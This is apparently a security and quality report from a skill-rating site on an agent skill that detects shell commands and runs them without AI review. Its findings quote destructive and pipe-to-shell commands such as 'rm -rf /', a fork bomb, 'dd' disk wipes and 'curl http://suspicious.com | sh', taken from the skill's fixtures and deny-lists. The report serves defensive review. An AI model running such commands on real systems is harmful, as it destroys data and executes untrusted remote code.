SKILLEMALL.ai
GitHub ↗ RU Sign in

DF terminal-killer

Intelligent shell command detector and executor for OpenClaw. Automatically identifies terminal commands (system builtins, $PATH executables, history matches, command patterns) and executes directly without LLM overhead. Cross-platform support (macOS/Linux/Windows). Use when user input appears to be a shell command to skip AI processing and run immediately.

Not recommendedcritical or high security findings · low grade D
ClawHub Agent Skills author: cosperypf v1.2.0 15 files body ≈ 2 115 tokens Open the sourceclawhub.ai↗ analyzed 3 d ago

As a process F 35/100 · Will not run — References files that are not bundled: scripts/check-path.js, scripts/check-history.js, scripts/score-command.js

AnalyzerInfrastructureAI and agentstype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
D
50/100
safety, quality, tests
Safety 60%
36
Quality 40%
70
Run on models
none yet
Process rating
F
35/100
Will not run
References files that are not bundled: scripts/check-path.js, scripts/check-history.js, scripts/score-command.js
Tools and files w 18
0
Result and completion w 14
0
Inputs and preconditions w 11
0
the three weakest of ten parameters · all ten

What is at stake

The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.

Dangerous commands
If you install

The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.

For the author

Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.

How to improve

  1. Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
  2. The text references files that are not there: add them or drop the references.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 14

  • high Dangerous commands cmd-destructive-fs references/EXAMPLES.md:116
    Destructive filesystem command (wipes root/home/drive) (test fixture / example file)
    rm -rf /
    fixture
  • high Dangerous commands cmd-destructive-fs scripts/detect-command.js:30
    Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed)
    ':(){ :|:& };:',
    code literal
Medium and low: 12
  • medium Dangerous commands cmd-pipe-to-shell README.md:290
    Downloads and executes remote code from an unrecognised host (pipe to shell) (quoted — discussed, not commanded)
    - `curl | sh` - 网络执行
    quoted
  • medium Dangerous commands cmd-destructive-fs-scoped references/EXAMPLES.md:121
    Destructive command on a partition / current directory (normal in admin docs; verify the target) (test fixture / example file)
    dd if=/dev/zero of=/dev/sda
    fixture
  • medium Dangerous commands cmd-destructive-fs-scoped references/EXAMPLES.md:122
    Destructive command on a partition / current directory (normal in admin docs; verify the target) (test fixture / example file)
    mkfs.ext4 /dev/sdb1
    fixture
  • medium Dangerous commands cmd-pipe-to-shell references/EXAMPLES.md:126
    Downloads and executes remote code from an unrecognised host (pipe to shell) (test fixture / example file)
    curl http://suspicious.com | sh
    fixture
  • low Dangerous commands cmd-privilege README.md:289
    Privilege escalation / world-writable permissions (quoted — discussed, not commanded)
    - `chmod 777` - 权限修改
    quoted
  • low Dangerous commands cmd-background-process references/builtins/linux.txt:124
    Starts a background / autostarted process
    disown
  • low Dangerous commands cmd-privilege references/EXAMPLES.md:118
    Privilege escalation / world-writable permissions (test fixture / example file)
    sudo rm -rf /var/log/*
    fixture
  • low Dangerous commands cmd-privilege references/EXAMPLES.md:123
    Privilege escalation / world-writable permissions (test fixture / example file)
    chmod 777 /etc/passwd
    fixture
  • low Dangerous commands cmd-pipe-to-shell references/TESTING.md:150
    Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; test fixture / example file)
    - [ ] Network download + execute detected (curl | sh)
    detectorfixture
  • low Dangerous commands cmd-privilege scripts/detect-command.js:28
    Privilege escalation / world-writable permissions (string literal in code, not executed)
    'chmod 777',
    code literal
  • low Dangerous commands cmd-privilege scripts/test-detector.js:43
    Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed; test fixture / example file)
    { input: 'sudo rm -rf /', expected: 'ASK', description: 'Dangerous sudo' },
    detectorcode literalfixture
  • low Dangerous commands cmd-privilege SKILL.md:153
    Privilege escalation / world-writable permissions (negated — the text forbids it)
    - `dd`, `mkfs`, `chmod 777`
    negated

Files scanned: 15. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning missing-ref reference to a missing file: scripts/check-path.js
  • warning missing-ref reference to a missing file: scripts/check-history.js
  • warning missing-ref reference to a missing file: scripts/score-command.js
  • warning missing-ref reference to a missing file: scripts/safety-check.js
  • warning missing-ref reference to a missing file: references/builtins/<platform>.txt
  • note frontmatter-key unknown frontmatter key "contact"

Process rating: all ten parameters 35/100

Will not run. References files that are not bundled: scripts/check-path.js, scripts/check-history.js, scripts/score-command.js
  • 0Tools and files. 5 referenced file(s) missing: scripts/check-path.js, scripts/check-history.js, scripts/score-command.js
  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 0Failures and branches. Linear process with no failure handling
  • 20When it triggers. No condition that starts the skill
  • 30Running it twice. 1 mutating operations with no state check
  • 100Steps. 67 steps
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 2115 tokens
  • 100Progress reporting. Reports progress
  • medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
  • low 12 top-level sections: this looks like several domains in one skill

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3Output format is not stated: the model decides each time
  • -217 emoji in the instructions: noise for the model
  • -32 of 6 scripts are never mentioned in SKILL.md
  • +1No license
  • +2Single-language instructions
  • +3Description length 359: enough signal without eating the budget
  • +4Structure: 35 headings
  • +3Step-by-step instructions: 67 items
  • +4Has examples (12 code blocks)
  • +4Reference files are cited in the instructions (1 of 2)

Quality base 70; lint remarks subtract, signals add up to 100. Result: 70.

External checks

ClawHub: suspicious
This skill is a real terminal command runner, but it can auto-run local commands and execute shell startup files during detection with limited user control.
LLM: suspicious (high) · VirusTotal: suspicious · 28 May 2026